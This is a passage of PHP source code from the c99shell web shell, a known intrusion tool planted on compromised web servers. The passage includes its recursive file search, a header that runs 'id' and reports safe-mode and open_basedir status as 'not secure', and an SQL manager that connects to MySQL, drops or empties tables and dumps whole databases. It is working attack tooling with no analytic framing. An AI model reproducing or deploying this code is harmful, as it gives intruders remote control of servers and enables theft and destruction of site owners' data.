                echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
                if ($tbl_struct)
                {
                    echo "<td valign=\"top\"><b>Fields:</b><br>";
                    foreach ($tbl_struct as $field)
                    {
                        $name = $field["Field"];
                        echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`" . $name . "`';\"><b>" . $name . "</b></a><br>";
                    }
                    echo "</td></tr></table>";
                }
            }
            if ($sql_query_result or (!$sql_confirm))
            {
                $sql_query = $sql_last_query;
            }
        }
    }
    if (!function_exists("mysql_create_db"))
    {
        function mysql_create_db($db, $sock = "")
        {
            $sql = "CREATE DATABASE `" . addslashes($db) . "`;";
            if ($sock)
            {
                return mysql_query($sql, $sock);
            }
            else
            {
                return mysql_query($sql);
            }
        }
    }
    if (!function_exists("mysql_query_parse"))
    {
        function mysql_query_parse($query)
        {
            $query = trim($query);
            $arr = explode(" ", $query);
            $types = array(
                "SELECT" => array(
                    3,
                    1
                ) ,
                "SHOW" => array(
                    2,
                    1
                ) ,
                "DELETE" => array(
                    1
                ) ,
                "DROP" => array(
                    1
                )
            );
            $result = array();
            $op = strtoupper($arr[0]);
            if (is_array($types[$op]))
            {
                $result["propertions"] = $types[$op];
                $result["query"] = $query;
                if ($types[$op] == 2)
                {
                    foreach ($arr as $k => $v)
                    {
                        if (strtoupper($v) == "LIMIT")
                        {
                            $result["limit"] = $arr[$k + 1];
                            $result["limit"] = explode(",", $result["limit"]);
                            if (count($result["limit"]) == 1)
                            {
                                $result["limit"] = array(
                                    0,
                                    $result["limit"][0]
                                );
                            }
                            unset($arr[$k], $arr[$k + 1]);
                        }
                    }
                }
            }
            else
            {
                return false;
            }
        }
    }
    if (!function_exists("c99fsearch"))
    {
        function c99fsearch($d)
        {
            global $found;
            global $found_d;
            global $found_f;
            global $search_i_f;
            global $search_i_d;
            global $a;
            if (substr($d, -1) != DIRECTORY_SEPARATOR)
            {
                $d .= DIRECTORY_SEPARATOR;
            }
            $h = opendir($d);
            while (($f = readdir($h)) !== false)
            {
                if ($f != "." && $f != "..")
                {
                    $bool = (empty($a["name_regexp"]) and strpos($f, $a["name"]) !== false) || ($a["name_regexp"] and preg_match($a["name"], $f));
                    if (is_dir($d . $f))
                    {
                        $search_i_d++;
                        if (empty($a["text"]) and $bool)
                        {
                            $found[] = $d . $f;
                            $found_d++;
                        }
                        if (!is_link($d . $f))
                        {
                            c99fsearch($d . $f);
                        }
                    }
                    else
                    {
                        $search_i_f++;
                        if ($bool)
                        {
                            if (!empty($a["text"]))
                            {
                                $r = @file_get_contents($d . $f);
                                if ($a["text_wwo"])
                                {
                                    $a["text"] = " " . trim($a["text"]) . " ";
                                }
                                if (!$a["text_cs"])
                                {
                                    $a["text"] = strtolower($a["text"]);
                                    $r = strtolower($r);
                                }
                                if ($a["text_regexp"])
                                {
                                    $bool = preg_match($a["text"], $r);
                                }
                                else
                                {
                                    $bool = strpos(" " . $r, $a["text"], 1);
                                }
                                if ($a["text_not"])
                                {
                                    $bool = !$bool;
                                }
                                if ($bool)
                                {
                                    $found[] = $d . $f;
                                    $found_f++;
                                }
                            }
                            else
                            {
                                $found[] = $d . $f;
                                $found_f++;
                            }
                        }
                    }
                }
            }
            closedir($h);
        }
    }
    if ($act == "gofile")
    {
        if (is_dir($f))
        {
            $act = "ls";
            $d = $f;
        }
        else
        {
            $act = "f";
            $d = dirname($f);
            $f = basename($f);
        }
    }
    @ob_start();
    @ob_implicit_flush(0);
    function onphpshutdown()
    {
        global $gzipencode, $ft;
        if (!headers_sent() and $gzipencode and !in_array($ft, array(
            "img",
            "download",
            "notepad"
        )))
        {
            $v = @ob_get_contents();
            @ob_end_clean();
            @ob_start("ob_gzHandler");
            echo $v;
            @ob_end_flush();
        }
    }
    function c99shexit()
    {
        onphpshutdown();
        exit;
    }
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    if (empty($tmpdir))
    {
        $tmpdir = ini_get("upload_tmp_dir");
        if (is_dir($tmpdir))
        {
            $tmpdir = "/tmp/";
        }
    }
    $tmpdir = realpath($tmpdir);
    $tmpdir = str_replace("\", DIRECTORY_SEPARATOR, $tmpdir);
    if (substr($tmpdir, -1) != DIRECTORY_SEPARATOR)
    {
        $tmpdir .= DIRECTORY_SEPARATOR;
    }
    if (empty($tmpdir_logs))
    {
        $tmpdir_logs = $tmpdir;
    }
    else
    {
        $tmpdir_logs = realpath($tmpdir_logs);
    }
    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    {
        $safemode = true;
        $hsafemode = "<font color=red>ON (secure)</font>";
    }
    else
    {
        $safemode = false;
        $hsafemode = "<font color=green>OFF (not secure)</font>";
    }
    $v = @ini_get("open_basedir");
    if ($v or strtolower($v) == "on")
    {
        $openbasedir = true;
        $hopenbasedir = "<font color=red>" . $v . "</font>";
    }
    else
    {
        $openbasedir = false;
        $hopenbasedir = "<font color=green>OFF (not secure)</font>";
    }
    $sort = htmlspecialchars($sort);
    if (empty($sort))
    {
        $sort = $sort_default;
    }
    $sort[1] = strtolower($sort[1]);
    $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
    if (!preg_match("PHP/" . phpversion() , $DISP_SERVER_SOFTWARE))
    {
        $DISP_SERVER_SOFTWARE .= ". PHP/" . phpversion();
    }
    $DISP_SERVER_SOFTWARE = str_replace("PHP/" . phpversion() , "<a href=\"" . $surl . "act=phpinfo\" target=\"_blank\"><b><u>PHP/" . phpversion() . "</u></b></a>", htmlspecialchars($DISP_SERVER_SOFTWARE));
    @ini_set("highlight.bg", $highlight_bg);
    @ini_set("highlight.comment", $highlight_comment);
    @ini_set("highlight.default", $highlight_default);
    @ini_set("highlight.html", $highlight_html);
    @ini_set("highlight.keyword", $highlight_keyword);
    @ini_set("highlight.string", $highlight_string);
    if (!is_array($actbox))
    {
        $actbox = array();
    }
    $dspact = $act = htmlspecialchars($act);
    $disp_fullpath = $ls_arr = $notls = null;
    $ud = urlencode($d); ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname() , 90, "<br>", 1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win)
    {
        echo wordwrap(myshellexec("id") , 90, "<br>", 1);
    }
    else
    {
        echo get_current_user();
    } ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
    if (empty($d))
    {
        $d = realpath(".");
    }
    elseif (realpath($d))
    {
        $d = realpath($d);
    }
    $d = str_replace("\", DIRECTORY_SEPARATOR, $d);
    if (substr($d, -1) != DIRECTORY_SEPARATOR)
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $d = str_replace("\", "\", $d);
    $dispd = htmlspecialchars($d);
    $pd = $e = explode(DIRECTORY_SEPARATOR, substr($d, 0, -1));
    $i = 0;
    foreach ($pd as $b)
    {
        $t = "";
        $j = 0;
        foreach ($e as $r)
        {
            $t .= $r . DIRECTORY_SEPARATOR;
            if ($j == $i)
            {
                break;
            }
            $j++;
        }
        echo "<a href=\"" . $surl . "act=ls&d=" . urlencode($t) . "&sort=" . $sort . "\"><b>" . htmlspecialchars($b) . DIRECTORY_SEPARATOR . "</b></a>";
        $i++;
    }
    echo "&nbsp;&nbsp;&nbsp;";
    if (is_writable($d))
    {
        $wd = true;
        $wdt = "<font color=green>[ ok ]</font>";
        echo "<b><font color=green>" . view_perms(fileperms($d)) . "</font></b>";
    }
    else
    {
        $wd = false;
        $wdt = "<font color=red>[ Read-Only ]</font>";
        echo "<b>" . view_perms_color($d) . "</b>";
    }
    if (is_callable("disk_free_space"))
    {
        $free = disk_free_space($d);
        $total = disk_total_space($d);
        if ($free === false)
        {
            $free = 0;
        }
        if ($total === false)
        {
            $total = 0;
        }
        if ($free < 0)
        {
            $free = 0;
        }
        if ($total < 0)
        {
            $total = 0;
        }
        $used = $total - $free;
        $free_percent = round(100 / ($total / $free) , 2);
        echo "<br><b>Free " . view_size($free) . " of " . view_size($total) . " (" . $free_percent . "%)</b>";
    }
    echo "<br>";
    $letters = "";
    if ($win)
    {
        $v = explode("\", $d);
        $v = $v[0];
        foreach (range("a", "z") as $letter)
        {
            $bool = $isdiskette = in_array($letter, $safemode_diskettes);
            if (!$bool)
            {
                $bool = is_dir($letter . ":\");
            }
            if ($bool)
            {
                $letters .= "<a href=\"" . $surl . "act=ls&d=" . urlencode($letter . ":\") . "\"" . ($isdiskette ? " onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"" : "") . ">[ ";
                if ($letter . ":" != $v)
                {
                    $letters .= $letter;
                }
                else
                {
                    $letters .= "<font color=green>" . $letter . "</font>";
                }
                $letters .= " ]</a> ";
            }
        }
        if (!empty($letters))
        {
            echo "<b>Detected drives</b>: " . $letters . "<br>";
        }
    }
    if (count($quicklaunch) > 0)
    {
        foreach ($quicklaunch as $item)
        {
            $item[1] = str_replace("%d", urlencode($d) , $item[1]);
            $item[1] = str_replace("%sort", $sort, $item[1]);
            $v = realpath($d . "..");
            if (empty($v))
            {
                $a = explode(DIRECTORY_SEPARATOR, $d);
                unset($a[count($a) - 2]);
                $v = join(DIRECTORY_SEPARATOR, $a);
            }
            $item[1] = str_replace("%upd", urlencode($v) , $item[1]);
            echo "<a href=\"" . $item[1] . "\">" . $item[0] . "</a>&nbsp;&nbsp;&nbsp;&nbsp;";
        }
    }
    echo "</p></td></tr></table><br>";
    if ((!empty($donated_html)) and (in_array($act, $donated_act)))
    {
        echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">" . $donated_html . "</td></tr></table><br>";
    }
    echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
    if ($act == "")
    {
        $act = $dspact = "ls";
    }
    if ($act == "sql")
    {
        $sql_surl = $surl . "act=sql";
        if ($sql_login)
        {
            $sql_surl .= "&sql_login=" . htmlspecialchars($sql_login);
        }
        if ($sql_passwd)
        {
            $sql_surl .= "&sql_passwd=" . htmlspecialchars($sql_passwd);
        }
        if ($sql_server)
        {
            $sql_surl .= "&sql_server=" . htmlspecialchars($sql_server);
        }
        if ($sql_port)
        {
            $sql_surl .= "&sql_port=" . htmlspecialchars($sql_port);
        }
        if ($sql_db)
        {
            $sql_surl .= "&sql_db=" . htmlspecialchars($sql_db);
        }
        $sql_surl .= "&"; ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php if ($sql_server)
        {
            $sql_sock = mysql_connect($sql_server . ":" . $sql_port, $sql_login, $sql_passwd);
            $err = mysql_smarterror();
            @mysql_select_db($sql_db, $sql_sock);
            if ($sql_query and $submit)
            {
                $sql_query_result = mysql_query($sql_query, $sql_sock);
                $sql_query_error = mysql_smarterror();
            }
        }
        else
        {
            $sql_sock = false;
        }
        echo "<b>SQL Manager:</b><br>";
        if (!$sql_sock)
        {
            if (!$sql_server)
            {
                echo "NO CONNECTION";
            }
            else
            {
                echo "<center><b>Can't connect</b></center>";
                echo "<b>" . $err . "</b>";
            }
        }
        else
        {
            $sqlquicklaunch = array();
            $sqlquicklaunch[] = array(
                "Index",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"
            );
            $sqlquicklaunch[] = array(
                "Query",
                $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl)
            );
            $sqlquicklaunch[] = array(
                "Server-status",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=serverstatus"
            );
            $sqlquicklaunch[] = array(
                "Server variables",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=servervars"
            );
            $sqlquicklaunch[] = array(
                "Processes",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=processes"
            );
            $sqlquicklaunch[] = array(
                "Logout",
                $surl . "act=sql"
            );
            echo "<center><b>MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") running in " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")</b><br>";
            if (count($sqlquicklaunch) > 0)
            {
                foreach ($sqlquicklaunch as $item)
                {
                    echo "[ <a href=\"" . $item[1] . "\"><b>" . $item[0] . "</b></a> ] ";
                }
            }
            echo "</center>";
        }
        echo "</td></tr><tr>";
        if (!$sql_sock)
        { ?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php
        }
        else
        {
            if (!empty($sql_db))
            { ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_tables($sql_db);
                if (!$result)
                {
                    echo mysql_smarterror();
                }
                else
                {
                    echo "---[ <a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a> ]---<br>";
                    $c = 0;
                    while ($row = mysql_fetch_array($result))
                    {
                        $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
                        $count_row = mysql_fetch_array($count);
                        echo "<b>&nbsp;<a href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\"><b>" . htmlspecialchars($row[0]) . "</b></a> (" . $count_row[0] . ")</br></b>";
                        mysql_free_result($count);
                        $c++;
                    }
                    if (!$c)
                    {
                        echo "No tables found in database.";
                    }
                }
            }
            else
            { ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_dbs($sql_sock);
                if (!$result)
                {
                    echo mysql_smarterror();
                }
                else
                { ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php $c = 0;
                    $dbs = "";
                    while ($row = mysql_fetch_row($result))
                    {
                        $dbs .= "<option value=\"" . $row[0] . "\"";
                        if ($sql_db == $row[0])
                        {
                            $dbs .= " selected";
                        }
                        $dbs .= ">" . $row[0] . "</option>";
                        $c++;
                    }
                    echo "<option value=\"\">Databases (" . $c . ")</option>";
                    echo $dbs;
                } ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
            }
            echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
            $diplay = true;
            if ($sql_db)
            {
                if (!is_numeric($c))
                {
                    $c = 0;
                }
                if ($c == 0)
                {
                    $c = "no";
                }
                echo "<hr size=\"1\" noshade><center><b>There are " . $c . " table(s) in this DB (" . htmlspecialchars($sql_db) . ").<br>";
                if (count($dbquicklaunch) > 0)
                {
                    foreach ($dbsqlquicklaunch as $item)
                    {
                        echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
                    }
                }
                echo "</b></center>";
                $acts = array(
                    "",
                    "dump"
                );
                if ($sql_act == "tbldrop")
                {
                    $sql_query = "DROP TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "
`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblempty")
                {
                    $sql_query = "";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "DELETE FROM `" . $v . "` 
";
                    }
                    $sql_act = "query";
                }
                elseif ($sql_act == "tbldump")
                {
                    if (count($boxtbl) > 0)
                    {
                        $dmptbls = $boxtbl;
                    }
                    elseif ($thistbl)
                    {
                        $dmptbls = array(
                            $sql_tbl
                        );
                    }
                    $sql_act = "dump";
                }
                elseif ($sql_act == "tblcheck")
                {
                    $sql_query = "CHECK TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "
`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tbloptimize")
                {
                    $sql_query = "OPTIMIZE TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "
`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblrepair")
                {
                    $sql_query = "REPAIR TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "
`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblanalyze")
                {
                    $sql_query = "ANALYZE TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "
`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "deleterow")
                {
                    $sql_query = "";
                    if (!empty($boxrow_all))
                    {
                        $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
                    }
                    else
                    {
                        foreach ($boxrow as $v)
                        {
                            $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;
";
                        }
                        $sql_query = substr($sql_query, 0, -1);
                    }
                    $sql_act = "query";
                }
                elseif ($sql_tbl_act == "insert")
                {
                    if ($sql_tbl_insert_radio == 1)
                    {
                        $keys = "";
                        $akeys = array_keys($sql_tbl_insert);
                        foreach ($akeys as $v)
                        {
                            $keys .= "`" . addslashes($v) . "`, ";
                        }
                        if (!empty($keys))
                        {
                            $keys = substr($keys, 0, strlen($keys) - 2);
                        }
                        $values = "";
                        $i = 0;
                        foreach (array_values($sql_tbl_insert) as $v)
                        {
                            if ($funct = $sql_tbl_insert_functs[$akeys[$i]])
                            {
                                $values .= $funct . " (";
                            }
                            $values .= "'" . addslashes($v) . "'";
                            if ($funct)
                            {
                                $values .= ")";
                            }
                            $values .= ", ";
                            $i++;
                        }
                        if (!empty($values))
                        {
                            $values = substr($values, 0, strlen($values) - 2);
                        }
                        $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
                        $sql_act = "query";
                        $sql_tbl_act = "browse";
                    }
                    elseif ($sql_tbl_insert_radio == 2)
                    {
                        $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
                        $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
                        $result = mysql_query($sql_query) or print (mysql_smarterror());
                        $result = mysql_fetch_array($result, MYSQL_ASSOC);
                        $sql_act = "query";
                        $sql_tbl_act = "browse";
                    }
                }
                if ($sql_act == "query")
                {
                    echo "<hr size=\"1\" noshade>";
                    if (($submit) and (!$sql_query_result) and ($sql_confirm))
                    {
                        if (!$sql_query_error)
                        {
                            $sql_query_error = "Query was empty";
                        }
                        echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
                    }
                    if ($sql_query_result or (!$sql_confirm))
                    {
                        $sql_act = $sql_goto;
                    }
                    if ((!$submit) or ($sql_act))
                    {
                        echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
                        if (($sql_query) and (!$submit))
                        {
                            echo "Do you really want to:";
                        }
                        else
                        {
                            echo "SQL-Query :";
                        }
                        echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";
                    }
                }
                if (in_array($sql_act, $acts))
                { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php if (!empty($sql_act))
                    {
                        echo "<hr size=\"1\" noshade>";
                    }
                    if ($sql_act == "newtbl")
                    {
                        echo "<b>";
                        if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
                        {
                            echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                        }
                        else
                        {
                            echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                        }
                    }
                    elseif ($sql_act == "dump")
                    {
                        if (empty($submit))
                        {
                            $diplay = false;
                            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
                            echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
                            $v = join(";", $dmptbls);
                            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
                            if ($dump_file)
                            {
                                $tmp = $dump_file;
                            }
                            else
                            {
                                $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
                            }
